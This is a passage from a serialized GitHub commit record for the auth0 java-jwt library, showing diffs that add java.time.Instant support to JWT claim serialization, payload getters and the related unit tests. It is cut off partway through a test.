         return jwtId;u}(j5  (0389121c8302008b0d1f399cc4ad6321bbd48eb4j5  ;lib/src/main/java/com/auth0/jwt/impl/PayloadSerializer.javaj5  modifiedj5  K	j5  Kj5  Kj5  https://github.com/auth0/java-jwt/blob/90cea2d99680b985130f702ccb830bb322458171/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadSerializer.javaj5  https://github.com/auth0/java-jwt/raw/90cea2d99680b985130f702ccb830bb322458171/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadSerializer.javaj5  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadSerializer.java?ref=90cea2d99680b985130f702ccb830bb322458171j6  X   @@ -5,6 +5,7 @@
 import com.fasterxml.jackson.databind.ser.std.StdSerializer;
 
 import java.io.IOException;
+import java.time.Instant;
 import java.util.*;
 
 /**
@@ -71,13 +72,15 @@ private void writeAudience(JsonGenerator gen, Map.Entry<String, Object> e) throw
     }
 
     /**
-     * Serializes {@linkplain Date} to epoch second values, traversing maps and lists as needed.
+     * Serializes {@linkplain Instant} to epoch second values, traversing maps and lists as needed.
      * @param value the object to serialize
      * @param gen the JsonGenerator to use for JSON serialization
      */
     private void handleSerialization(Object value, JsonGenerator gen) throws IOException {
-        if (value instanceof Date) { // EXPIRES_AT, ISSUED_AT, NOT_BEFORE, custom date claims
+        if (value instanceof Date) {
             gen.writeNumber(dateToSeconds((Date) value));
+        } else if (value instanceof Instant) { // EXPIRES_AT, ISSUED_AT, NOT_BEFORE, custom Instant claims
+            gen.writeNumber(instantToSeconds((Instant) value));
         } else if (value instanceof Map) {
             serializeMap((Map<?, ?>) value, gen);
         } else if (value instanceof List) {
@@ -105,6 +108,10 @@ private void serializeList(List<?> list, JsonGenerator gen) throws IOException {
         gen.writeEndArray();
     }
 
+    private long instantToSeconds(Instant instant) {
+        return instant.getEpochSecond();
+    }
+
     private long dateToSeconds(Date date) {
         return date.getTime() / 1000;
     }u}(j5  (cc5256f4dd342766e47ab1a1e555e4d984c92461j5  5lib/src/main/java/com/auth0/jwt/interfaces/Claim.javaj5  modifiedj5  Kj5  K j5  Kj5  https://github.com/auth0/java-jwt/blob/90cea2d99680b985130f702ccb830bb322458171/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FClaim.javaj5  https://github.com/auth0/java-jwt/raw/90cea2d99680b985130f702ccb830bb322458171/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FClaim.javaj5  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FClaim.java?ref=90cea2d99680b985130f702ccb830bb322458171j6  X  @@ -2,6 +2,7 @@
 
 import com.auth0.jwt.exceptions.JWTDecodeException;
 
+import java.time.Instant;
 import java.util.Date;
 import java.util.List;
 import java.util.Map;
@@ -66,6 +67,17 @@ public interface Claim {
      */
     Date asDate();
 
+    /**
+     * Get this Claim as an Instant.
+     * If the value can't be converted to an Instant, null will be returned.
+     *
+     * @return the value as a Date or null.
+     */
+    default Instant asInstant() {
+        Date date = asDate();
+        return date != null ? date.toInstant() : null;
+    }
+
     /**
      * Get this Claim as an Array of type T.
      * If the value isn't an Array, null will be returned.u}(j5  (b3bf71f5cc956047b5bd6626971dcc7236e92d31j5  7lib/src/main/java/com/auth0/jwt/interfaces/Payload.javaj5  modifiedj5  Kj5  K j5  Kj5  https://github.com/auth0/java-jwt/blob/90cea2d99680b985130f702ccb830bb322458171/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FPayload.javaj5  https://github.com/auth0/java-jwt/raw/90cea2d99680b985130f702ccb830bb322458171/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FPayload.javaj5  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FPayload.java?ref=90cea2d99680b985130f702ccb830bb322458171j6  X-  @@ -1,5 +1,6 @@
 package com.auth0.jwt.interfaces;
 
+import java.time.Instant;
 import java.util.Date;
 import java.util.List;
 import java.util.Map;
@@ -37,20 +38,47 @@ public interface Payload {
      */
     Date getExpiresAt();
 
+    /**
+     * Get the value of the "exp" claim as an {@linkplain Instant}, or null if it's not available.
+     *
+     * @return the Expiration Time value or null.
+     */
+    default Instant getExpiresAtAsInstant() {
+        return getExpiresAt() != null ? getExpiresAt().toInstant() : null;
+    }
+
     /**
      * Get the value of the "nbf" claim, or null if it's not available.
      *
      * @return the Not Before value or null.
      */
     Date getNotBefore();
 
+    /**
+     * Get the value of the "nbf" claim as an {@linkplain Instant}, or null if it's not available.
+     *
+     * @return the Not Before value or null.
+     */
+    default Instant getNotBeforeAsInstant() {
+        return getNotBefore() != null ? getNotBefore().toInstant() : null;
+    }
+
     /**
      * Get the value of the "iat" claim, or null if it's not available.
      *
      * @return the Issued At value or null.
      */
     Date getIssuedAt();
 
+    /**
+     * Get the value of the "iat" claim as an {@linkplain Instant}, or null if it's not available.
+     *
+     * @return the Issued At value or null.
+     */
+    default Instant getIssuedAtAsInstant() {
+        return getIssuedAt() != null ? getIssuedAt().toInstant() : null;
+    }
+
     /**
      * Get the value of the "jti" claim, or null if it's not available.
      *u}(j5  (c6fff1f2b466354d2e9130788e2a33dc54d9162fj5  3lib/src/test/java/com/auth0/jwt/JWTCreatorTest.javaj5  modifiedj5  KAj5  Kj5  KSj5  https://github.com/auth0/java-jwt/blob/90cea2d99680b985130f702ccb830bb322458171/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreatorTest.javaj5  https://github.com/auth0/java-jwt/raw/90cea2d99680b985130f702ccb830bb322458171/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreatorTest.javaj5  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreatorTest.java?ref=90cea2d99680b985130f702ccb830bb322458171j6  Xs!  @@ -13,6 +13,7 @@
 import java.nio.charset.StandardCharsets;
 import java.security.interfaces.ECPrivateKey;
 import java.security.interfaces.RSAPrivateKey;
+import java.time.Instant;
 import java.util.*;
 
 import static org.hamcrest.Matchers.*;
@@ -64,7 +65,7 @@ public void shouldReturnBuilderIfNullMapIsProvided() {
 
     @Test
     public void shouldOverwriteExistingHeaderIfHeaderMapContainsTheSameKey() {
-        Map<String, Object> header = new HashMap<String, Object>();
+        Map<String, Object> header = new HashMap<>();
         header.put(PublicClaims.KEY_ID, "xyz");
 
         String signed = JWTCreator.init()
@@ -80,7 +81,7 @@ public void shouldOverwriteExistingHeaderIfHeaderMapContainsTheSameKey() {
 
     @Test
     public void shouldOverwriteExistingHeadersWhenSettingSameHeaderKey() {
-        Map<String, Object> header = new HashMap<String, Object>();
+        Map<String, Object> header = new HashMap<>();
         header.put(PublicClaims.KEY_ID, "xyz");
 
         String signed = JWTCreator.init()
@@ -96,7 +97,7 @@ public void shouldOverwriteExistingHeadersWhenSettingSameHeaderKey() {
 
     @Test
     public void shouldRemoveHeaderIfTheValueIsNull() {
-        Map<String, Object> header = new HashMap<String, Object>();
+        Map<String, Object> header = new HashMap<>();
         header.put(PublicClaims.KEY_ID, null);
         header.put("test2", "isSet");
 
@@ -271,6 +272,17 @@ public void shouldAddExpiresAt() {
         assertThat(TokenUtils.splitToken(signed)[1], is("eyJleHAiOjE0Nzc1OTJ9"));
     }
 
+    @Test
+    public void shouldAddExpiresAtInstant() {
+        String signed = JWTCreator.init()
+                .withExpiresAt(Instant.ofEpochSecond(1477592))
+                .sign(Algorithm.HMAC256("secret"));
+
+        System.out.println(signed);
+        assertThat(signed, is(notNullValue()));
+        assertThat(TokenUtils.splitToken(signed)[1], is("eyJleHAiOjE0Nzc1OTJ9"));
+    }
+
     @Test
     public void shouldAddNotBefore() {
         String signed = JWTCreator.init()
@@ -281,6 +293,16 @@ public void shouldAddNotBefore() {
         assertThat(TokenUtils.splitToken(signed)[1], is("eyJuYmYiOjE0Nzc1OTJ9"));
     }
 
+    @Test
+    public void shouldAddNotBeforeInstant() {
+        String signed = JWTCreator.init()
+                .withNotBefore(Instant.ofEpochSecond(1477592))
+                .sign(Algorithm.HMAC256("secret"));
+
+        assertThat(signed, is(notNullValue()));
+        assertThat(TokenUtils.splitToken(signed)[1], is("eyJuYmYiOjE0Nzc1OTJ9"));
+    }
+
     @Test
     public void shouldAddIssuedAt() {
         String signed = JWTCreator.init()
@@ -291,6 +313,16 @@ public void shouldAddIssuedAt() {
         assertThat(TokenUtils.splitToken(signed)[1], is("eyJpYXQiOjE0Nzc1OTJ9"));
     }
 
+    @Test
+    public void shouldAddIssuedAtInstant() {
+        String signed = JWTCreator.init()
+                .withIssuedAt(Instant.ofEpochSecond(1477592))
+                .sign(Algorithm.HMAC256("secret"));
+
+        assertThat(signed, is(notNullValue()));
+        assertThat(TokenUtils.splitToken(signed)[1], is("eyJpYXQiOjE0Nzc1OTJ9"));
+    }
+
     @Test
     public void shouldAddJWTId() {
         String signed = JWTCreator.init()
@@ -430,6 +462,18 @@ public void shouldAcceptCustomClaimOfTypeDate() {
         assertThat(parts[1], is("eyJuYW1lIjoxNDc4ODkxNTIxfQ"));
     }
 
+    @Test
+    public void shouldAcceptCustomClaimOfTypeDateInstant() {
+        Instant instant = Instant.ofEpochSecond(1478891521);
+        String jwt = JWTCreator.init()
+                .withClaim("name", instant)
+                .sign(Algorithm.HMAC256("secret"));
+
+        assertThat(jwt, is(notNullValue()));
+        String[] parts = jwt.split("\\.");
+        assertThat(parts[1], is("eyJuYW1lIjoxNDc4ODkxNTIxfQ"));
+    }
+
     @Test
     public void shouldAcceptCustomArrayClaimOfTypeString() {
         String jwt = JWTCreator.init()
@@ -499,7 +543,8 @@ public void shouldAcceptCustomMapClaimOfBasicObjectTypes() throws Exception {
         data.put("integer", 1);
         data.put("long", Long.MAX_VALUE);
         data.put("double", 123.456d);
-        data.put("date", new Date(123000));
+        data.put("date", new Date(123000L));
+        data.put("instant", Instant.ofEpochSecond(123));
         data.put("boolean", true);
 
         // array types
@@ -531,12 +576,13 @@ public void shouldAcceptCustomMapClaimOfBasicObjectTypes() throws Exception {
         assertThat(map.get("double"), is(123.456d));
 
         assertThat(map.get("date"), is(123));
+        assertThat(map.get("instant"), is(123));
         assertThat(map.get("boolean"), is(true));
 
         // array types
         assertThat(map.get("intArray"), is(Arrays.asList(3, 5)));
         assertThat(map.get("longArray"), is(Arrays.asList(Long.MAX_VALUE, Long.MIN_VALUE)));
-        assertThat(map.get("stringArray"), is(Arrays.asList("string")));
+        assertThat(map.get("stringArray"), is(Collections.singletonList("string")));
 
         // list
         assertThat(map.get("list"), is(Arrays.asList("a", "b", "c")));
@@ -554,7 +600,8 @@ public void shouldAcceptCustomListClaimOfBasicObjectTypes() throws Exception {
         data.add(1);
         data.add(Long.MAX_VALUE);
         data.add(123.456d);
-        data.add(new Date(123000));
+        data.add(new Date(123000L));
+        data.add(Instant.ofEpochSecond(123));
         data.add(true);
 
         // array types
@@ -585,17 +632,17 @@ public void shouldAcceptCustomListClaimOfBasicObjectTypes() throws Exception {
         assertThat(list.get(2), is(Long.MAX_VALUE));
         assertThat(list.get(3), is(123.456d));
         assertThat(list.get(4), is(123));
-        assertThat(list.get(5), is(true));
+        assertThat(list.get(5), is(123));
+        assertThat(list.get(6), is(true));
 
         // array types
-        assertThat(list.get(6), is(Arrays.asList(3, 5)));
-        assertThat(list.get(7), is(Arrays.asList(Long.MAX_VALUE, Long.MIN_VALUE)));
-        assertThat(list.get(8), is(Arrays.asList("string")));
+        assertThat(list.get(7), is(Arrays.asList(3, 5)));
+        assertThat(list.get(8), is(Arrays.asList(Long.MAX_VALUE, Long.MIN_VALUE)));
+        assertThat(list.get(9), is(Arrays.asList("string")));
 
         // list
-        assertThat(list.get(9), is(Arrays.asList("a", "b", "c")));
-        assertThat(list.get(10), is(sub));
-
+        assertThat(list.get(10), is(Arrays.asList("a", "b", "c")));
+        assertThat(list.get(11), is(sub));
     }
 
     @Test
@@ -681,7 +728,7 @@ public void shouldRefuseCustomMapClaimForNonStringKey() {
 
     @Test
     public void shouldRefuseCustomListClaimForUnknownListElement() {
-        List<Object> list = Arrays.asList(new UserPojo("Michael", 255));
+        List<Object> list = Collections.singletonList(new UserPojo("Michael", 255));
 
         exception.expect(IllegalArgumentException.class);
 
@@ -692,7 +739,7 @@ public void shouldRefuseCustomListClaimForUnknownListElement() {
 
     @Test
     public void shouldRefuseCustomListClaimForUnknownListElementWrappedInAMap() {
-        List<Object> list = Arrays.asList(new UserPojo("Michael", 255));
+        List<Object> list = Collections.singletonList(new UserPojo("Michael", 255));
 
         Map<String, Object> data = new HashMap<>();
         data.put("someList", list);
@@ -798,7 +845,7 @@ public void withPayloadShouldNotAllowCustomType() {
         Map<String, Object> payload = new HashMap<>();
         payload.put("entry", "value");
         payload.put("pojo", new UserPojo("name", 42));
-        String jwt = JWTCreator.init()
+        JWTCreator.init()
                 .withPayload(payload)
                 .sign(Algorithm.HMAC256("secret"));
     }
@@ -824,7 +871,7 @@ public void withPayloadShouldNotAllowListWithCustomType() {
 
         Map<String, Object> payload = new HashMap<>();
         payload.put("list", Arrays.asList("item1", new UserPojo("name", 42)));
-        String jwt = JWTCreator.init()
+        JWTCreator.init()
                 .withPayload(payload)
                 .sign(Algorithm.HMAC256("secret"));
     }
@@ -837,7 +884,7 @@ public void withPayloadShouldNotAllowMapWithCustomType() {
         Map<String, Object> payload = new HashMap<>();
         payload.put("entry", "value");
         payload.put("map", Collections.singletonMap("pojo", new UserPojo("name", 42)));
-        String jwt = JWTCreator.init()
+        JWTCreator.init()
                 .withPayload(payload)
                 .sign(Algorithm.HMAC256("secret"));
     }u}(j5  (a9e8f248fa272fd1a95e0f02843d20f1dfa0b79cj5  3lib/src/test/java/com/auth0/jwt/JWTDecoderTest.javaj5  modifiedj5  Kj5  Kj5  K"j5  https://github.com/auth0/java-jwt/blob/90cea2d99680b985130f702ccb830bb322458171/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTDecoderTest.javaj5  https://github.com/auth0/java-jwt/raw/90cea2d99680b985130f702ccb830bb322458171/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTDecoderTest.javaj5  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTDecoderTest.java?ref=90cea2d99680b985130f702ccb830bb322458171j6  X<  @@ -12,6 +12,7 @@
 
 import java.io.*;
 import java.nio.charset.StandardCharsets;
+import java.time.Instant;
 import java.util.Base64;
 import java.util.Date;
 import java.util.Map;
@@ -156,33 +157,27 @@ public void shouldGetStringAudience() {
     public void shouldGetExpirationTime() {
         DecodedJWT jwt = JWT.decode("eyJhbGciOiJIUzI1NiJ9.eyJleHAiOjE0NzY3MjcwODZ9.L9dcPHEDQew2u9MkDCORFkfDGcSOsgoPqNY-LUMLEHg");
         assertThat(jwt, is(notNullValue()));
-        assertThat(jwt.getExpiresAt(), is(instanceOf(Date.class)));
         long ms = 1476727086L * 1000;
-        Date expectedDate = new Date(ms);
-        assertThat(jwt.getExpiresAt(), is(notNullValue()));
-        assertThat(jwt.getExpiresAt(), is(equalTo(expectedDate)));
+        assertThat(jwt.getExpiresAt(), is(equalTo(new Date(ms))));
+        assertThat(jwt.getExpiresAtAsInstant(), is(equalTo(Instant.ofEpochMilli(ms))));
     }
 
     @Test
     public void shouldGetNotBefore() {
         DecodedJWT jwt = JWT.decode("eyJhbGciOiJIUzI1NiJ9.eyJuYmYiOjE0NzY3MjcwODZ9.tkpD3iCPQPVqjnjpDVp2bJMBAgpVCG9ZjlBuMitass0");
         assertThat(jwt, is(notNullValue()));
-        assertThat(jwt.getNotBefore(), is(instanceOf(Date.class)));
         long ms = 1476727086L * 1000;
-        Date expectedDate = new Date(ms);
-        assertThat(jwt.getNotBefore(), is(notNullValue()));
-        assertThat(jwt.getNotBefore(), is(equalTo(expectedDate)));
+        assertThat(jwt.getNotBefore(), is(equalTo(new Date(ms))));
+        assertThat(jwt.getNotBeforeAsInstant(), is(equalTo(Instant.ofEpochMilli(ms))));
     }
 
     @Test
     public void shouldGetIssuedAt() {
         DecodedJWT jwt = JWT.decode("eyJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE0NzY3MjcwODZ9.KPjGoW665E8V5_27Jugab8qSTxLk2cgquhPCBfAP0_w");
         assertThat(jwt, is(notNullValue()));
-        assertThat(jwt.getIssuedAt(), is(instanceOf(Date.class)));
         long ms = 1476727086L * 1000;
-        Date expectedDate = new Date(ms);
-        assertThat(jwt.getIssuedAt(), is(notNullValue()));
-        assertThat(jwt.getIssuedAt(), is(equalTo(expectedDate)));
+        assertThat(jwt.getIssuedAt(), is(equalTo(new Date(ms))));
+        assertThat(jwt.getIssuedAtAsInstant(), is(equalTo(Instant.ofEpochMilli(ms))));
     }
 
     @Test
@@ -272,6 +267,15 @@ public void shouldGetCustomClaimOfTypeDate() {
         assertThat(jwt.getClaim("name").asDate().getTime(), is(date.getTime()));
     }
 
+    @Test
+    public void shouldGetCustomClaimOfTypeInstant() {
+        String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoxNDc4ODkxNTIxfQ.mhioumeok8fghQEhTKF3QtQAksSvZ_9wIhJmgZLhJ6c";
+        Instant instant = Instant.ofEpochSecond(1478891521L);
+        DecodedJWT jwt = JWT.decode(token);
+        assertThat(jwt, is(notNullValue()));
+        assertThat(jwt.getClaim("name").asInstant(), is(equalTo(instant)));
+    }
+
     @Test
     public void shouldGetCustomArrayClaimOfTypeString() {
         String token = "eyJhbGciOiJIUzI1NiJ9.eyJuYW1lIjpbInRleHQiLCIxMjMiLCJ0cnVlIl19.lxM8EcmK1uSZRAPd0HUhXGZJdauRmZmLjoeqz4J9yAA";
@@ -294,9 +298,9 @@ public void shouldGetCustomMapClaim() {
         DecodedJWT jwt = JWT.decode(token);
         assertThat(jwt, is(notNullValue()));
         Map<String, Object> map = jwt.getClaim("name").asMap();
-        assertThat(map, hasEntry("string", (Object) "value"));
-        assertThat(map, hasEntry("number", (Object) 1));
-        assertThat(map, hasEntry("boolean", (Object) true));
+        assertThat(map, hasEntry("string", "value"));
+        assertThat(map, hasEntry("number", 1));
+        assertThat(map, hasEntry("boolean", true));
     }
 
     @Testu}(j5  (2015c03718be2cefc6573e087c08e8f09cb7083cj5  ,lib/src/test/java/com/auth0/jwt/JWTTest.javaj5  modifiedj5  Kj5  Kj5  Kj5  https://github.com/auth0/java-jwt/blob/90cea2d99680b985130f702ccb830bb322458171/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTTest.javaj5  https://github.com/auth0/java-jwt/raw/90cea2d99680b985130f702ccb830bb322458171/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTTest.javaj5  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTTest.java?ref=90cea2d99680b985130f702ccb830bb322458171j6  XH  @@ -21,8 +21,6 @@
 
 import static org.hamcrest.Matchers.*;
 import static org.hamcrest.MatcherAssert.assertThat;
-import static org.mockito.Mockito.mock;
-import static org.mockito.Mockito.when;
 
 public class JWTTest {
 
@@ -285,9 +283,9 @@ public void shouldGetExpirationTime() {
                 .verify(token);
 
         assertThat(jwt, is(notNullValue()));
-        assertThat(jwt.getExpiresAt(), is(instanceOf(Date.class)));
-        assertThat(jwt.getExpiresAt(), is(notNullValue()));
         assertThat(jwt.getExpiresAt(), is(equalTo(new Date(seconds * 1000))));
+        assertThat(jwt.getExpiresAtAsInstant(), is(equalTo(Instant.ofEpochSecond(seconds))));
+
     }
 
     @Test
@@ -302,9 +300,8 @@ public void shouldGetNotBefore() {
                 .verify(token);
 
         assertThat(jwt, is(notNullValue()));
-        assertThat(jwt.getNotBefore(), is(instanceOf(Date.class)));
-        assertThat(jwt.getNotBefore(), is(notNullValue()));
         assertThat(jwt.getNotBefore(), is(equalTo(new Date(seconds * 1000))));
+        assertThat(jwt.getNotBeforeAsInstant(), is(equalTo(Instant.ofEpochSecond(seconds))));
     }
 
     @Test
@@ -319,9 +316,8 @@ public void shouldGetIssuedAt() {
                 .verify(token);
 
         assertThat(jwt, is(notNullValue()));
-        assertThat(jwt.getIssuedAt(), is(instanceOf(Date.class)));
-        assertThat(jwt.getIssuedAt(), is(notNullValue()));
         assertThat(jwt.getIssuedAt(), is(equalTo(new Date(seconds * 1000))));
+        assertThat(jwt.getIssuedAtAsInstant(), is(equalTo(Instant.ofEpochSecond(seconds))));
     }
 
     @Testu}(j5  (acc633fceed20986be4334a7a96327359611da86j5  4lib/src/test/java/com/auth0/jwt/JWTVerifierTest.javaj5  modifiedj5  Kj5  Kj5  Kj5  https://github.com/auth0/java-jwt/blob/90cea2d99680b985130f702ccb830bb322458171/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifierTest.javaj5  https://github.com/auth0/java-jwt/raw/90cea2d99680b985130f702ccb830bb322458171/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifierTest.javaj5  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifierTest.java?ref=90cea2d99680b985130f702ccb830bb322458171j6  X  @@ -19,17 +19,15 @@
 import java.util.HashMap;
 import java.util.Map;
 
-import static org.hamcrest.Matchers.startsWith;
-import static org.hamcrest.Matchers.*;
 import static org.hamcrest.MatcherAssert.assertThat;
-import static org.mockito.Mockito.*;
-import static org.junit.Assert.assertThrows;
+import static org.hamcrest.Matchers.*;
+import static org.mockito.Mockito.mock;
 
 public class JWTVerifierTest {
 
-    private Clock mockNow = Clock.fixed(Instant.ofEpochSecond(1477592), ZoneId.of("UTC"));
-    private Clock mockOneSecondEarlier = Clock.offset(mockNow, Duration.ofSeconds(-1));
-    private Clock mockOneSecondLater = Clock.offset(mockNow, Duration.ofSeconds(1));
+    private final Clock mockNow = Clock.fixed(Instant.ofEpochSecond(1477592), ZoneId.of("UTC"));
+    private final Clock mockOneSecondEarlier = Clock.offset(mockNow, Duration.ofSeconds(-1));
+    private final Clock mockOneSecondLater = Clock.offset(mockNow, Duration.ofSeconds(1));
 
     @Rule
     public ExpectedException exception = ExpectedException.none();u}(j5  (3c744487f244f523019dbf2934fd3a75a85ecc01j5  ;lib/src/test/java/com/auth0/jwt/impl/JsonNodeClaimTest.javaj5  modifiedj5  K
j5  Kj5  Kj5  https://github.com/auth0/java-jwt/blob/90cea2d99680b985130f702ccb830bb322458171/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FJsonNodeClaimTest.javaj5  https://github.com/auth0/java-jwt/raw/90cea2d99680b985130f702ccb830bb322458171/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FJsonNodeClaimTest.javaj5  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FJsonNodeClaimTest.java?ref=90cea2d99680b985130f702ccb830bb322458171j6  X)  @@ -20,14 +20,14 @@
 import org.mockito.ArgumentMatchers;
 
 import java.io.IOException;
+import java.time.Instant;
 import java.util.*;
 
 import static com.auth0.jwt.impl.JWTParser.getDefaultObjectMapper;
-import static com.auth0.jwt.impl.JsonNodeClaim.claimFromNode;
+import static org.hamcrest.MatcherAssert.assertThat;
 import static org.hamcrest.Matchers.*;
 import static org.hamcrest.core.IsNull.notNullValue;
 import static org.hamcrest.core.IsNull.nullValue;
-import static org.hamcrest.MatcherAssert.assertThat;
 import static org.mockito.Mockito.*;
 
 public class JsonNodeClaimTest {
@@ -117,20 +117,23 @@ public void shouldGetNullDoubleIfNotDoubleValue() {
     }
 
     @Test
-    public void shouldGetDateValue() {
-        JsonNode value = mapper.valueToTree(1476824844L);
+    public void shouldGetNumericDateValue() {
+        long seconds = 1476824844L;
+        JsonNode value = mapper.valueToTree(seconds);
         Claim claim = claimFromNode(value);
 
-        assertThat(claim.asDate(), is(notNullValue()));
-        assertThat(claim.asDate(), is(new Date(1476824844L * 1000)));
+        assertThat(claim.asDate(), is(new Date(seconds * 1000)));
+        assertThat(claim.asInstant(), is(Instant.ofEpochSecond(seconds)));
     }
 
     @Test
-    public void shouldGetNullDateIfNotDateValue() {
+    public void shouldGetNullIfNotNumericDateValue() {
         JsonNode objectValue = mapper.valueToTree(new Object());
         assertThat(claimFromNode(objectValue).asDate(), is(nullValue()));
+        assertThat(claimFromNode(objectValue).asInstant(), is(nullValue()));
         JsonNode stringValue = mapper.valueToTree("1476824844");
         assertThat(claimFromNode(stringValue).asDate(), is(nullValue()));
+        assertThat(claimFromNode(stringValue).asInstant(), is(nullValue()));
     }
 
     @Testu}(j5  (bd4781305346f9534f7232c14696fcf41508b49aj5  7lib/src/test/java/com/auth0/jwt/impl/NullClaimTest.javaj5  modifiedj5  Kj5  K j5  Kj5  https://github.com/auth0/java-jwt/blob/90cea2d99680b985130f702ccb830bb322458171/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FNullClaimTest.javaj5  https://github.com/auth0/java-jwt/raw/90cea2d99680b985130f702ccb830bb322458171/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FNullClaimTest.javaj5  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FNullClaimTest.java?ref=90cea2d99680b985130f702ccb830bb322458171j6  XZ  @@ -50,6 +50,11 @@ public void shouldGetAsDate() {
         assertThat(claim.asDate(), is(nullValue()));
     }
 
+    @Test
+    public void shouldGetAsInstant() {
+        assertThat(claim.asInstant(), is(nullValue()));
+    }
+
     @Test
     public void shouldGetAsArray() {
         assertThat(claim.asArray(Object.class), is(nullValue()));u}(j5  (96b79afaf54a166f2bfa2a38f9dee481aa51cc4bj5  Alib/src/test/java/com/auth0/jwt/impl/PayloadDeserializerTest.javaj5  modifiedj5  Kj5  Kj5  K&j5  https://github.com/auth0/java-jwt/blob/90cea2d99680b985130f702ccb830bb322458171/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadDeserializerTest.javaj5  https://github.com/auth0/java-jwt/raw/90cea2d99680b985130f702ccb830bb322458171/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadDeserializerTest.javaj5  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadDeserializerTest.java?ref=90cea2d99680b985130f702ccb830bb322458171j6  X  @@ -19,6 +19,7 @@
 import org.junit.rules.ExpectedException;
 
 import java.io.StringReader;
+import java.time.Instant;
 import java.util.*;
 
 import static org.hamcrest.Matchers.*;
@@ -96,6 +97,9 @@ public void shouldNotRemoveKnownPublicClaimsFromTree() throws Exception {
         assertThat(payload.getIssuedAt().getTime(), is(10101010L * 1000));
         assertThat(payload.getExpiresAt().getTime(), is(11111111L * 1000));
         assertThat(payload.getNotBefore().getTime(), is(10101011L * 1000));
+        assertThat(payload.getIssuedAtAsInstant().getEpochSecond(), is(10101010L));
+        assertThat(payload.getExpiresAtAsInstant().getEpochSecond(), is(11111111L));
+        assertThat(payload.getNotBeforeAsInstant().getEpochSecond(), is(10101011L));
         assertThat(payload.getId(), is("idid"));
 
         assertThat(payload.getClaim("roles").asString(), is("admin"));
@@ -177,24 +181,23 @@ public void shouldGetNullArrayWhenParsingNonArrayOrTextNode() {
         assertThat(values, is(nullValue()));
     }
 
-
     @Test
-    public void shouldGetNullDateWhenParsingNullNode() {
+    public void shouldGetNullInstantWhenParsingNullNode() {
         Map<String, JsonNode> tree = new HashMap<>();
         NullNode node = NullNode.getInstance();
         tree.put("key", node);
 
-        Date date = deserializer.getDateFromSeconds(tree, "key");
-        assertThat(date, is(nullValue()));
+        Instant instant = deserializer.getInstantFromSeconds(tree, "key");
+        assertThat(instant, is(nullValue()));
     }
 
     @Test
-    public void shouldGetNullDateWhenParsingNull() {
+    public void shouldGetNullInstantWhenParsingNull() {
         Map<String, JsonNode> tree = new HashMap<>();
         tree.put("key", null);
 
-        Date date = deserializer.getDateFromSeconds(tree, "key");
-        assertThat(date, is(nullValue()));
+        Instant instant  = deserializer.getInstantFromSeconds(tree, "key");
+        assertThat(instant, is(nullValue()));
     }
 
     @Test
@@ -206,32 +209,33 @@ public void shouldThrowWhenParsingNonNumericNode() {
         TextNode node = new TextNode("123456789");
         tree.put("key", node);
 
-        deserializer.getDateFromSeconds(tree, "key");
+        deserializer.getInstantFromSeconds(tree, "key");
     }
 
     @Test
-    public void shouldGetDateWhenParsingNumericNode() {
+    public void shouldGetInstantWhenParsingNumericNode() {
         Map<String, JsonNode> tree = new HashMap<>();
         long seconds = 1478627949 / 1000;
